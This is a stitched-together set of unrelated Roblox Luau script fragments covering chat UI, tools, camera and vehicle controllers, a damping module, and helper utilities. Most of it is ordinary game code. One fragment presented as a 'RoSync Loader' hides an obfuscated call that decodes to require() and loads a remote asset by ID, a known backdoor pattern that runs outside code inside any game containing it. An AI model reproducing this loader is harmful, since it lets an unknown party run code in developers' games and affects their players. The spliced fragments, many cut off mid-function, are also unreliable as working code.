messageModeTextButton.Size = UDim2.new(0, 0, 0, 0)
textBox.Size = UDim2.new(1, 0, 1, 0)
textBox.Position = UDim2.new(0, 0, 0, 0)
textLabel.Size = UDim2.new(1, 0, 1, 0)
textLabel.Position = UDim2.new(0, 0, 0, 0)
end
end
end
function methods:IsInCustomState()
return self.InCustomState
end
function methods:ResetCustomState()
if self.InCustomState then
self.CustomState:Destroy()
self.CustomState = nil
self.InCustomState = false
self.ChatBarParentFrame:ClearAllChildren()
self:CreateGuiObjects(self.ChatBarParentFrame)
self:SetTextLabelText(
ChatLocalization:Get(
"GameChat_ChatMain_ChatBarText",
'To chat click here or press "/" key'
)
)
end
end
function methods:EnterWhisperState(player)
self:ResetCustomState()
self:CaptureFocus()
if WhisperModule.CustomStateCreator then
self.CustomState = WhisperModule.CustomStateCreator(
player,
self.ChatWindow,
self,
ChatSettings
)
self.InCustomState = true
else
self:SetText("/w " .. player.Name)
end
end
function methods:GetCustomMessage()
if self.InCustomState then
return self.CustomState:GetMessage()
end
return nil
end
function methods:CustomStateProcessCompletedMessage(message)
if self.InCustomState then
return self.CustomState:ProcessCompletedMessage()
end
return false
end
function methods:FadeOutBackground(duration)
self.AnimParams.Background_TargetTransparency = 1
self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)
self:FadeOutText(duration)
end
function methods:FadeInBackground(duration)
self.AnimParams.Background_TargetTransparency = 0.6
self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)
self:FadeInText(duration)
end
function methods:FadeOutText(duration)
self.AnimParams.Text_TargetTransparency = 1
self.AnimParams.Text_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)
end
function methods:FadeInText(duration)
self.AnimParams.Text_TargetTransparency = 0.4
self.AnimParams.Text_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration)
end
function methods:AnimGuiObjects()
self.GuiObject.BackgroundTransparency = self.AnimParams.Background_CurrentTransparency
self.GuiObjects.TextBoxFrame.BackgroundTransparency = self.AnimParams.Background_CurrentTransparency
self.GuiObjects.TextLabel.TextTransparency = self.AnimParams.Text_CurrentTransparency
self.GuiObjects.TextBox.TextTransparency = self.AnimParams.Text_CurrentTransparency
self.GuiObjects.MessageModeTextButton.TextTransparency = self.AnimParams.Text_CurrentTransparency
end
function methods:InitializeAnimParams()
self.AnimParams.Text_TargetTransparency = 0.4
self.AnimParams.Text_CurrentTransparency = 0.4
self.AnimParams.Text_NormalizedExptValue = 1
self.AnimParams.Background_TargetTransparency = 0.6
self.AnimParams.Background_CurrentTransparency = 0.6
self.AnimParams.Background_NormalizedExptValue = 1
end
function methods:Update(dtScale)
self.AnimParams.Text_CurrentTransparency = CurveUtil:Expt(
self.AnimParams.Text_CurrentTransparency,
self.AnimParams.Text_TargetTransparency,
self.AnimParams.Text_NormalizedExptValue,
dtScale
)
self.AnimParams.Background_CurrentTransparency = CurveUtil:Expt(
self.AnimParams.Background_CurrentTransparency,
self.AnimParams.Background_TargetTransparency,
self.AnimParams.Background_NormalizedExptValue,
dtScale
)
self:AnimGuiObjects()
end
function methods:SetChannelNameColor(channelName, channelNameColor)
self.ChannelNameColors[channelName] = channelNameColor
if self.GuiObjects.MessageModeTextButton.Text == channelName then
self.GuiObjects.MessageModeTextButton.TextColor3 = channelNameColor
end
end
function methods:GetChannelNameColor(channelName)
return self.ChannelNameColors[channelName]
end
|
-- Loop para mover o NPC para posições aleatórias a cada 5 segundos
|
while true do
moveToRandomPosition()
wait(5)
end
|
-- places a brick at pos and returns the position of the brick's opposite corner
|
function placeBrick(cf, pos, color)
local brick = Instance.new("Part")
brick.BrickColor = color
brick.Name='Pushbox'
brick.CFrame = cf * CFrame.new(pos + brick.Size / 2)
script.Parent.BrickCleanup:Clone().Parent = brick -- attach cleanup script to this brick
brick.BrickCleanup.Disabled = false
brick.Parent = game.Workspace
brick:MakeJoints()
return brick, pos + brick.Size
end
function buildWall(cf)
local color = BrickColor.Random()
local bricks = {}
assert(wallWidth>0)
local y = 0
while y < wallHeight do
local p
local x = -wallWidth/2
while x < wallWidth/2 do
local brick
brick, p = placeBrick(cf, Vector3.new(x, y, 0), color)
x = p.x
table.insert(bricks, brick)
wait(brickSpeed)
end
y = p.y
end
return bricks
end
function snap(v)
if math.abs(v.x)>math.abs(v.z) then
if v.x>0 then
return Vector3.new(1,0,0)
else
return Vector3.new(-1,0,0)
end
else
if v.z>0 then
return Vector3.new(0,0,1)
else
return Vector3.new(0,0,-1)
end
end
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character:FindFirstChildOfClass("Humanoid")
if not humanoid then
return
end
local targetPos = MouseLoc:InvokeClient(game:GetService("Players"):GetPlayerFromCharacter(character))
local lookAt = snap( (targetPos - character.Head.Position).unit )
local cf = CFrame.new(targetPos, targetPos + lookAt)
Tool.Handle.BuildSound:Play()
buildWall(cf)
wait(5)
Tool.Enabled = true
end
Tool.Activated:Connect(onActivated)
|
--[[ Last synced 11/11/2020 02:20 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
--[[ The Module ]]
|
--
local BaseCharacterController = require(script.Parent:WaitForChild("BaseCharacterController"))
local DynamicThumbstick = setmetatable({}, BaseCharacterController)
DynamicThumbstick.__index = DynamicThumbstick
function DynamicThumbstick.new()
local self = setmetatable(BaseCharacterController.new(), DynamicThumbstick)
self.humanoid = nil
self.tools = {}
self.toolEquipped = nil
self.revertAutoJumpEnabledToFalse = false
self.moveTouchObject = nil
self.moveTouchStartPosition = nil
self.startImage = nil
self.endImage = nil
self.middleImages = {}
self.startImageFadeTween = nil
self.endImageFadeTween = nil
self.middleImageFadeTweens = {}
self.isFirstTouch = true
self.isFollowStick = false
self.thumbstickFrame = nil
self.onTouchMovedConn = nil
self.onTouchEndedConn = nil
self.onTouchActivateConn = nil
self.onRenderSteppedConn = nil
self.fadeInAndOutBalance = FADE_IN_OUT_BALANCE_DEFAULT
self.fadeInAndOutHalfDuration = FADE_IN_OUT_HALF_DURATION_DEFAULT
self.hasFadedBackgroundInPortrait = false
self.hasFadedBackgroundInLandscape = false
self.tweenInAlphaStart = nil
self.tweenOutAlphaStart = nil
-- If this module changes a player's humanoid's AutoJumpEnabled, it saves
-- the previous state in this variable to revert to
self.shouldRevertAutoJumpOnDisable = false
return self
end
|
-- Libraries
|
local Libraries = Tool:WaitForChild 'Libraries'
local Support = require(Libraries:WaitForChild 'SupportLibrary')
local MoveUtil = require(script.Parent:WaitForChild 'Util')
|
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
|
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.KittyBow -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage
hitPart.Touched:Connect(function(hit)
if debounce == true then
if hit.Parent:FindFirstChild("Humanoid") then
local plr = game.Players:FindFirstChild(hit.Parent.Name)
if plr then
debounce = false
hitPart.BrickColor = BrickColor.new("Bright red")
tool:Clone().Parent = plr.Backpack
wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
debounce = true
hitPart.BrickColor = BrickColor.new("Bright green")
end
end
end
end)
|
--Mobile
|
local jumpButton
if uis.TouchEnabled then
pcall(function()
jumpButton = player:WaitForChild("PlayerGui"):WaitForChild("TouchGui"):WaitForChild("TouchControlFrame"):WaitForChild("JumpButton")
end)
end
if jumpButton ~= nil then
jumpButton.MouseButton1Down:Connect(ToggleFlying)
end
|
-- Game Variables
|
GameSettings.intermissionDuration = 10
GameSettings.roundDuration = 60
GameSettings.minimumPlayers = 1
GameSettings.transitionStart = 3
GameSettings.transitionEnd = 3
GameSettings.pointValues = {
-- Value types must match folder names to award points correctly
LowPoints = 0,
MediumPoints = 10,
HighPoints = 15,
}
GameSettings.roundWalkSpeed = 10
GameSettings.mapName = "Arena"
return GameSettings
|
--end
|
wait(1)
end
end)
end
end)
else
script.Parent.Parent.Enabled = false
end
|
--[=[
Pipes the tranformers through each other
https://rxjs-dev.firebaseapp.com/api/index/function/pipe
@param transformers { Observable<any> }
@return (source: Observable<T>) -> Observable<U>
]=]
|
function Rx.pipe(transformers)
assert(type(transformers) == "table", "Bad transformers")
for index, transformer in pairs(transformers) do
if type(transformer) ~= "function" then
error(("[Rx.pipe] Bad pipe value of type %q at index %q, expected function")
:format(type(transformer), tostring(index)))
end
end
return function(source)
assert(source, "Bad source")
local current = source
for key, transformer in pairs(transformers) do
current = transformer(current)
if not (type(current) == "table" and current.ClassName == "Observable") then
error(("[Rx.pipe] - Failed to transform %q in pipe, made %q (%s)")
:format(tostring(key), tostring(current), tostring(type(current) == "table" and current.ClassName or "")))
end
end
return current
end
end
|
-- Note that this has not been refactored into a class yet
|
Chassis.InitializeDrivingValues()
|
--[[
local Damping = require(this)
local damping = Damping.new()
damping.P = NUMBER
damping.D = NUMBER
damping.Position = Vector3
damping.Goal = Vector3
damping:Update() [Returns Vector3 position]
damping:UpdateAngle() [Returns Vector3 position, but each XYZ value is wrapped properly for pi*2 motion]
EXAMPLE USE:
-- Set D and P values:
damping.P = 5
damping.D = 0.1
-- Set starting position:
damping.Position = part.Position
while (true) do
wait()
-- Update the goal:
damping.Goal = mouse.Hit.p
-- Calculate new position:
local newPosition = damping:Update()
part.Position = newPosition
end
ALGORITHM:
velocity += P * ( (target - current) + D * -velocity );
current += velocity * dt;
Credit: http://www.gamedev.net/topic/561981-smooth-value-damping/
--]]
|
local Damping = {}
Damping.__index = Damping
local V3 = Vector3.new
local PI = math.pi
local TAU = PI * 2
local tick = tick
local function CheckNAN(value, returnIfNan)
return (value == value and value or returnIfNan)
end
local function DeltaAngle(current, target)
local num = (target - current) % TAU
return (num > PI and (num - TAU) or num)
end
local function DeltaAngleV3(pos1, pos2)
return V3(
DeltaAngle(pos1.X, pos2.X),
DeltaAngle(pos1.Y, pos2.Y),
DeltaAngle(pos1.Z, pos2.Z)
)
end
function Damping.new()
local damping = setmetatable({
P = 5;
D = 0.1;
Position = V3();
Velocity = V3();
Goal = V3();
Last = tick();
}, Damping)
return damping
end
function Damping:CheckNAN()
self.Velocity = V3(CheckNAN(self.Velocity.X, 0), CheckNAN(self.Velocity.Y, 0), CheckNAN(self.Velocity.Z, 0))
self.Position = V3(CheckNAN(self.Position.X, self.Goal.X), CheckNAN(self.Position.Y, self.Goal.Y), CheckNAN(self.Position.Z, self.Goal.Z))
end
function Damping:Update()
local t = tick()
local dt = (t - self.Last)
self.Last = t
self.Velocity = (self.Velocity + (self.P * ((self.Goal - self.Position) + (-self.Velocity * self.D))))
self.Position = (self.Position + (self.Velocity * dt))
self:CheckNAN()
return self.Position
end
function Damping:UpdateAngle()
self.Goal = (self.Position + DeltaAngleV3(self.Position, self.Goal))
return self:Update()
end
return Damping
|
---------------------------------------------
|
local alreadythrown=false
local HoldAnim, ThrowAnim;
function UUU()
if script.Parent.Anim.Value==false then
if alreadythrown then
return
end
if game.Workspace.Preparation.Value==true then return end
if script.Parent.Enabled==false then return end
HoldAnim:Play()
script.Parent.Anim.Value=true
end
end
function THROW(short)
if game.Workspace.Preparation.Value==true then return end
if script.Parent.Enabled==false then return end
if script.Parent.Anim.Value==true then
if alreadythrown then
return
end
alreadythrown=true
--we track the reload time like this so that the player can't fire faster with
--rapid dis / re-equipping, which will actually be common usage with this gear.
HoldAnim:Stop(0)
if short and short==true then
local dent=Instance.new("IntValue")
dent.Parent=script.Parent
dent.Name="Short"
end
script.Parent.Anim.Value=false
ThrowAnim:Play(0,1,1)
script.Parent.Handle.Throw:Play()
wait(0.2)
--
script.Parent.SpawnGrenade:FireServer(game.Players.LocalPlayer.Character.Head.CFrame,game.Players.LocalPlayer.Character.Humanoid.TargetPoint,short)
end
end
repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character
local idle=game.Players.LocalPlayer.Character:WaitForChild("Humanoid"):LoadAnimation(script.Parent:WaitForChild("Idle"))
Tool.Equipped:connect(function(mouse)
local button1=false
local button2=false
idle:Play()
Character = Tool.Parent
Player = game.Players:GetPlayerFromCharacter(Character)
local HoldAnimSrc = WaitFor(Tool).HoldAnim()
HoldAnimSrc.AnimationId = 'http://www.roblox.com/asset/?id=88743592'
local ThrowAnimSrc = WaitFor(Tool).ThrowAnim()
ThrowAnimSrc.AnimationId = 'http://www.roblox.com/asset/?id=88743566'
HoldAnim = Character.Humanoid:LoadAnimation(HoldAnimSrc)
ThrowAnim = Character.Humanoid:LoadAnimation(ThrowAnimSrc)
script.Parent.Enabled=false
wait(0.6)
script.Parent.Enabled=true
--setup first anim / cursor cycle
mouse.Button1Down:connect(function()
button1=true
UUU()
end)
mouse.Button2Down:connect(function()
button2=true
UUU()
end)
mouse.Button1Up:connect(function()
button1=false
if button1==false and button2==false then
THROW(false)
end
end)
mouse.Button2Up:connect(function()
button2=false
if button1==false and button2==false then
THROW(true)
end
end)
end)
Tool.Unequipped:connect(function()
script.Parent.Anim.Value=false
if idle then
idle:Stop()
end
script.Parent.Anim.Value=false
if ThrowAnim then
ThrowAnim:Stop()
end
if HoldAnim then
HoldAnim:Stop()
end
end)
|
--Print Version
|
local ver=require(car["A-Chassis Tune"].README)
print("//INSPARE: AC6 Loaded - Build "..ver)
|
---------------
-- Variables --
---------------
|
local PlayersService = game:GetService('Players')
local Player = PlayersService.LocalPlayer
local PlayerMouse = Player:GetMouse()
local Camera = nil
local CameraChangeConn = nil
local PlayerCharacters = {} -- For ignoring in raycasts
local VehicleParts = {} -- Also just for ignoring
local LastPopAmount = 0
local LastZoomLevel = 0
|
--[[
while true do
x=20
y=20
for x=20,60 do
me.ImageLabel.Size=UDim2.new(x/100,0,y/100,0)
wait(0.1)
end
x=60
for y=20,60 do
me.ImageLabel.Size=UDim2.new(x/100,0,y/100,0)
wait(0.1)
end
y=60
for x=60,20,-1 do
me.ImageLabel.Size=UDim2.new(x/100,0,y/100,0)
wait(0.1)
end
x=20
for y=60,20,-1 do
me.ImageLabel.Size=UDim2.new(x/100,0,y/100,0)
wait(0.1)
end
end
print("end")
]]
|
--
|
-------------------
-- Adonis Server --
-------------------
--!nocheck
|
--[[
This module is part of Adonis 1.0 and contains lots of old code;
future updates will generally only be made to fix bugs, typos or functionality-affecting problems.
If you find bugs or similar issues, please submit an issue report
on our GitHub repository here: https://github.com/Epix-Incorporated/Adonis/issues/new/choose
]]
|
--[[Evt.Ombro.OnClientEvent:Connect(function(Nome)
TextoOmbro.Text = Nome .." tapped your shoulder!"
TextoOmbro.TextTransparency = 0
TextoOmbro.TextStrokeTransparency = 0
TS:Create(TextoOmbro, TweenInfo.new(5), {TextTransparency = 1,TextStrokeTransparency = 1} ):Play()
end)]]
| |
--//# Graphics+
--//# Version: 1.13 | Featuring Terrain+
| |
--[=[
An event emitter that emits the instance that was actually created. This is
useful for a variety of things.
Using this to track an instance
```lua
local currentCamera = Blend.State()
return Blend.New "ViewportFrame" {
CurrentCamera = currentCamera;
[Blend.Children] = {
self._current;
Blend.New "Camera" {
[Blend.Instance] = currentCamera;
};
};
};
```
Note that since 6.14 you should also be able to just use the reification scheme of
[Blend.Children] implicitly in [Blend.mount] to get somewhat equivalent behavior.
```lua
Blend.mount(frame, {
-- Array indexed methods get treated as children-constructors, which get the parent
-- in them;
function(parent)
print("Got parent!", parent)
end;
})
```
You can also use this to execute code against an instance.
```lua
return Blend.New "Frame" {
[Blend.Instance] = function(frame)
print("We got a new frame!")
end;
};
```
Note that if you subscribe twice to the resulting observable, the internal function
will execute twice.
@param parent Instance
@return Observable<Instance>
]=]
|
function Blend.Instance(parent)
return Observable.new(function(sub)
sub:Fire(parent)
end)
end
|
-- Set last play time
|
function Main:SetLastPlayTime(newTime: number)
self.LastPlayTime = newTime
self.Data.LastPlayTime = newTime
return newTime
end
|
--[[
Creates a new binding from this one with the given mapping.
]]
|
function bindingPrototype:map(valueTransform)
if config.typeChecks then
assert(typeof(valueTransform) == "function", "Bad arg #1 to binding:map: expected function")
end
local binding = Binding.create(valueTransform(self:getValue()))
binding[InternalData].valueTransform = valueTransform
binding[InternalData].upstreamBinding = self
return binding
end
|
-- This function is called when a player joins the game
|
function onPlayerJoin(player)
-- Generate a new secret for the player
generateSecret()
-- Send the player a message with their secret
player:SendMessage("Welcome to the game! You have been given a secret that you must not say in the chat. If you do, you will be kicked from the game. Your secret is: " .. secret)
end
|
--[=[
Completes all subscriptions and removes them from the list.
]=]
|
function ObservableSubscriptionTable:Destroy()
while next(self._subMap) do
local key, list = next(self._subMap)
self._subMap[key] = nil
for _, sub in pairs(list) do
if sub:IsPending() then
task.spawn(function()
sub:Complete()
end)
end
end
end
end
return ObservableSubscriptionTable
|
-- Coroutine runner that we create coroutines of. The coroutine can be
-- repeatedly resumed with functions to run followed by the argument to run
-- them with.
|
local function runEventHandlerInFreeThread(...)
acquireRunnerThreadAndCallEventHandler(...)
while true do
acquireRunnerThreadAndCallEventHandler(coroutine.yield())
end
end
|
-- Variables (best not to touch these!)
|
local button = script.Parent
local car = script.Parent.Parent.Car.Value
local sound = script.Parent.Start
local sound1 = script.Parent.Start1
sound.Parent = car.DriveSeat -- What brick the start sound is playing from.
button.MouseButton1Click:connect(function() -- Event when the button is clicked
if script.Parent.Text == "Engine: Off" then -- If the text says it's off then..
sound:Play()
wait(2) -- For realism. Okay?
script.Parent.Parent.IsOn.Value = true -- The car is is on, or in other words, start up the car.
sound1:Play()
wait (0.2)
sound:Stop()
button.Text = "Engine: On"-- You don't really need this, but I would keep it.
else -- If it's on then when you click the button,
script.Parent.Parent.IsOn.Value = false -- The car is turned off.
button.Text = "Engine: Off"
end -- Don't touch this.
end) -- And don't touch this either.
|
-- Freeze the table so nobody messes with it
|
table.freeze( Enums )
return Enums
|
--[[ Derived classes are required to override and implement all of the following functions ]]
|
--
function BaseOcclusion:GetOcclusionMode(): Enum.DevCameraOcclusionMode?
-- Must be overridden in derived classes to return an Enum.DevCameraOcclusionMode value
warn("BaseOcclusion GetOcclusionMode must be overridden by derived classes")
return nil
end
function BaseOcclusion:Enable(enabled: boolean)
warn("BaseOcclusion Enable must be overridden by derived classes")
end
function BaseOcclusion:Update(dt: number, desiredCameraCFrame: CFrame, desiredCameraFocus: CFrame)
warn("BaseOcclusion Update must be overridden by derived classes")
return desiredCameraCFrame, desiredCameraFocus
end
return BaseOcclusion
|
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
|
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.Noodle -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage
hitPart.Touched:Connect(function(hit)
if debounce == true then
if hit.Parent:FindFirstChild("Humanoid") then
local plr = game.Players:FindFirstChild(hit.Parent.Name)
if plr then
debounce = false
hitPart.BrickColor = BrickColor.new("Bright red")
tool:Clone().Parent = plr.Backpack
wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
debounce = true
hitPart.BrickColor = BrickColor.new("Bright green")
end
end
end
end)
|
--if tool then
-- local handle = tool:FindFirstChild("Handle")
-- local toolCopy = tool:Clone()
-- toolCopy.Parent = game.ServerStorage
-- local toolOnPad = true
--
-- local parentConnection
-- parentConnection = tool.AncestryChanged:connect(function()
-- if handle then handle.Anchored = false end
-- toolOnPad = false
-- parentConnection:disconnect()
-- end)
--
-- if handle then
-- handle.CFrame = (spawner.CFrame + Vector3.new(0,handle.Size.Z/2 + 1,0)) * CFrame.Angles(-math.pi/2,0,0)
-- handle.Anchored = true
-- end
--
-- while true do
-- while toolOnPad do
-- if handle then
-- handle.CFrame = handle.CFrame * CFrame.Angles(0,0,math.pi/60)
-- end
-- wait()
-- end
-- wait(configs["SpawnCooldown"])
-- local newTool = toolCopy:Clone()
-- newTool.Parent = game.Workspace
-- handle = newTool:FindFirstChild("Handle")
-- toolOnPad = true
-- end
--end
| |
--[[
Returns the current value of this ComputedPairs object.
The object will be registered as a dependency unless `asDependency` is false.
]]
|
function class:get(asDependency: boolean?): any
if asDependency ~= false then
useDependency(self)
end
return self._outputTable
end
|
--//Unpacking scripts
|
local module = script.Parent
local event = script.DoubleJumpEvent
module.Name = "DoubleJumpSettings"
script.JumpPlatform.Parent = game.ReplicatedStorage
script.Parent = game.ServerScriptService
module.Parent = game.ReplicatedStorage
event.Parent = game.ReplicatedStorage
|
-- Note that VehicleController does not derive from BaseCharacterController, it is a special case
|
local VehicleController = {}
VehicleController.__index = VehicleController
function VehicleController.new(CONTROL_ACTION_PRIORITY)
local self = setmetatable({}, VehicleController)
self.CONTROL_ACTION_PRIORITY = CONTROL_ACTION_PRIORITY
self.enabled = false
self.vehicleSeat = nil
self.throttle = 0
self.steer = 0
self.acceleration = 0
self.decceleration = 0
self.turningRight = 0
self.turningLeft = 0
self.vehicleMoveVector = ZERO_VECTOR3
self.autoPilot = {}
self.autoPilot.MaxSpeed = 0
self.autoPilot.MaxSteeringAngle = 0
return self
end
function VehicleController:BindContextActions()
if useTriggersForThrottle then
ContextActionService:BindActionAtPriority("throttleAccel", (function(actionName, inputState, inputObject)
self:OnThrottleAccel(actionName, inputState, inputObject)
return Enum.ContextActionResult.Pass
end), false, self.CONTROL_ACTION_PRIORITY, Enum.KeyCode.ButtonR2)
ContextActionService:BindActionAtPriority("throttleDeccel", (function(actionName, inputState, inputObject)
self:OnThrottleDeccel(actionName, inputState, inputObject)
return Enum.ContextActionResult.Pass
end), false, self.CONTROL_ACTION_PRIORITY, Enum.KeyCode.ButtonL2)
end
ContextActionService:BindActionAtPriority("arrowSteerRight", (function(actionName, inputState, inputObject)
self:OnSteerRight(actionName, inputState, inputObject)
return Enum.ContextActionResult.Pass
end), false, self.CONTROL_ACTION_PRIORITY, Enum.KeyCode.Right)
ContextActionService:BindActionAtPriority("arrowSteerLeft", (function(actionName, inputState, inputObject)
self:OnSteerLeft(actionName, inputState, inputObject)
return Enum.ContextActionResult.Pass
end), false, self.CONTROL_ACTION_PRIORITY, Enum.KeyCode.Left)
end
function VehicleController:Enable(enable, vehicleSeat)
if enable == self.enabled and vehicleSeat == self.vehicleSeat then
return
end
self.enabled = enable
self.vehicleMoveVector = ZERO_VECTOR3
if enable then
if vehicleSeat then
self.vehicleSeat = vehicleSeat
if FFlagUserClickToMoveFollowPathRefactor then
self:SetupAutoPilot()
end
self:BindContextActions()
end
else
if useTriggersForThrottle then
ContextActionService:UnbindAction("throttleAccel")
ContextActionService:UnbindAction("throttleDeccel")
end
ContextActionService:UnbindAction("arrowSteerRight")
ContextActionService:UnbindAction("arrowSteerLeft")
self.vehicleSeat = nil
end
end
function VehicleController:OnThrottleAccel(actionName, inputState, inputObject)
if FFlagBetterHandlingVehicleInputStates then
if inputState == Enum.UserInputState.End or inputState == Enum.UserInputState.Cancel then
self.acceleration = 0
else
self.acceleration = -1
end
else
self.acceleration = (inputState ~= Enum.UserInputState.End) and -1 or 0
end
self.throttle = self.acceleration + self.decceleration
end
function VehicleController:OnThrottleDeccel(actionName, inputState, inputObject)
if FFlagBetterHandlingVehicleInputStates then
if inputState == Enum.UserInputState.End or inputState == Enum.UserInputState.Cancel then
self.decceleration = 0
else
self.decceleration = 1
end
else
self.decceleration = (inputState ~= Enum.UserInputState.End) and 1 or 0
end
self.throttle = self.acceleration + self.decceleration
end
function VehicleController:OnSteerRight(actionName, inputState, inputObject)
if FFlagBetterHandlingVehicleInputStates then
if inputState == Enum.UserInputState.End or inputState == Enum.UserInputState.Cancel then
self.turningRight = 0
else
self.turningRight = 1
end
else
self.turningRight = (inputState ~= Enum.UserInputState.End) and 1 or 0
end
self.steer = self.turningRight + self.turningLeft
end
function VehicleController:OnSteerLeft(actionName, inputState, inputObject)
if FFlagBetterHandlingVehicleInputStates then
if inputState == Enum.UserInputState.End or inputState == Enum.UserInputState.Cancel then
self.turningLeft = 0
else
self.turningLeft = -1
end
else
self.turningLeft = (inputState ~= Enum.UserInputState.End) and -1 or 0
end
self.steer = self.turningRight + self.turningLeft
end
|
-- Do not edit the below.
|
script.Parent.Changed:connect(function(child)
SingleDriverMode = script.Parent.DSL.Value
if SingleDriverMode == true then
if script.Parent.Occupant ~= nil then
if script.Parent.Occupant.Parent.Name ~= AllowedDriver then
script.Parent.Occupant.Jump = true
script.Parent.Occupant.Health = 0
else end
end
else
for i,v in pairs(Blacklist) do
if script.Parent.Occupant ~= nil then
if script.Parent.Occupant.Parent.Name == Blacklist[i] then
if script.Parent.Occupant.Parent.Name ~= AllowedDriver then
script.Parent.Occupant.Jump = true
script.Parent.Occupant.Health = 0
end
else end
end
end
end
end)
|
--- Returns the extra data associated with this command.
-- This needs to be used instead of just context.Data for reliability when not using a remote command.
|
function Command:GetData ()
if self.Data then
return self.Data
end
if self.Object.Data and not IsServer then
self.Data = self.Object.Data(self)
end
return self.Data
end
|
--- Alternative to WaitForChild which doesn't error and has custom wait time
|
local function WaitFor(parent, index) --- funny
if not parent then
return _L.Print("Failed to grab " .. index .. " (" .. parent.Name .. " is nil)", true)
end
local _t = tick()
while (tick() - _t) <= waitTimeout do
local child = parent:FindFirstChild(index)
if child then
return child
end
_L.Services.RunService.Heartbeat:Wait()
end
return _L.Print("Failed to grab " .. index, true)
end
Player.Get = function(instance, player)
if isClient then
player = player or game.Players.LocalPlayer
end
player = (type(player) == "string" and game.Players:FindFirstChild(player) or player)
instance = instance or "Player"
instance = string.lower(instance)
--- Wait for player + character to EXIST!
local _t = tick()
while (player and (not player.Character) and (tick() - _t < waitTimeout)) do _L.Services.RunService.Stepped:Wait() end
if (not player) or (tick() - _t) >= waitTimeout then return end
--- Get humanoid & rigtype
local humanoid = player.Character:FindFirstChild("Humanoid")
local rigType = defaultRigType --- this will be default if humanoid cannot be read
if humanoid then
rigType = humanoid.RigType
end
--- R6 Compatibility
if rigType == Enum.HumanoidRigType.R6 then
if instance == "torso" then
return WaitFor(player.Character, "Torso")
elseif instance == "leftarm" then
return WaitFor(player.Character, "LeftArm")
elseif instance == "leftleg" then
return WaitFor(player.Character, "LeftLeg")
elseif instance == "rightarm" then
return WaitFor(player.Character, "RightArm")
elseif instance == "rightleg" then
return WaitFor(player.Character, "RightLeg")
end
end
--- R15 + everything else
if instance == "player" or (not instance) then
return player
elseif instance == "character" then
return player.Character
elseif instance == "head" then
return WaitFor(player.Character, "Head")
elseif instance == "torso" or instance == "uppertorso" then
return WaitFor(player.Character, "UpperTorso")
elseif instance == "rootpart" or instance == "humanoidrootpart" then
return WaitFor(player.Character, "HumanoidRootPart")
elseif instance == "humanoid" then
return WaitFor(player.Character, "Humanoid")
elseif instance == "lowertorso" then
return WaitFor(player.Character, "LowerTorso")
elseif instance == "leftfoot" then
return WaitFor(player.Character, "LeftFoot")
elseif instance == "lefthand" then
return WaitFor(player.Character, "LeftHand")
elseif instance == "leftlowerarm" then
return WaitFor(player.Character, "LeftLowerArm")
elseif instance == "leftlowerleg" then
return WaitFor(player.Character, "LeftLowerLeg")
elseif instance == "leftupperarm" then
return WaitFor(player.Character, "LeftUpperArm")
elseif instance == "leftupperleg" then
return WaitFor(player.Character, "LeftUpperLeg")
elseif instance == "rightfoot" then
return WaitFor(player.Character, "RightFoot")
elseif instance == "righthand" then
return WaitFor(player.Character, "RightHand")
elseif instance == "rightlowerarm" then
return WaitFor(player.Character, "RightLowerArm")
elseif instance == "rightlowerleg" then
return WaitFor(player.Character, "RightLowerLeg")
elseif instance == "rightupperarm" then
return WaitFor(player.Character, "RightUpperArm")
elseif instance == "rightupperleg" then
return WaitFor(player.Character, "RightUpperLeg")
elseif instance == "root" then
return WaitFor(WaitFor(player.Character, "LowerTorso"), "Root")
elseif instance == "waist" then
return WaitFor(WaitFor(player.Character, "UpperTorso"), "Waist")
elseif instance == "neck" then
return WaitFor(WaitFor(player.Character, "Head"), "Neck")
elseif instance == "leftankle" then
return WaitFor(WaitFor(player.Character, "LeftFoot"), "LeftAnkle")
elseif instance == "leftwrist" then
return WaitFor(WaitFor(player.Character, "LeftHand"), "LeftWrist")
elseif instance == "leftelbow" then
return WaitFor(WaitFor(player.Character, "LeftLowerArm"), "LeftElbow")
elseif instance == "leftknee" then
return WaitFor(WaitFor(player.Character, "LeftLowerLeg"), "LeftKnee")
elseif instance == "leftshoulder" then
return WaitFor(WaitFor(player.Character, "LeftUpperArm"), "LeftShoulder")
elseif instance == "lefthip" then
return WaitFor(WaitFor(player.Character, "LeftUpperLeg"), "LeftHip")
elseif instance == "rightankle" then
return WaitFor(WaitFor(player.Character, "RightFoot"), "RightAnkle")
elseif instance == "rightwrist" then
return WaitFor(WaitFor(player.Character, "RightHand"), "RightWrist")
elseif instance == "rightelbow" then
return WaitFor(WaitFor(player.Character, "RightLowerArm"), "RightElbow")
elseif instance == "rightknee" then
return WaitFor(WaitFor(player.Character, "RightLowerLeg"), "RightKnee")
elseif instance == "rightshoulder" then
return WaitFor(WaitFor(player.Character, "RightUpperArm"), "RightShoulder")
elseif instance == "righthip" then
return WaitFor(WaitFor(player.Character, "RightUpperLeg"), "RightHip")
elseif instance == "playergui" then
return player:WaitForChild("PlayerGui")
elseif instance == "starterplayer" then
return player:WaitForChild("StarterPlayer")
elseif instance == "mouse" then
return player:GetMouse()
elseif instance == "camera" then
return game.Workspace.CurrentCamera
elseif instance == "name" then
return player.Name
end
end
|
--Variables
|
local tool = script.Parent
local color = game.Lighting.TheWorldColor
local debounce = false
local parts = game.Workspace:GetChildren()
|
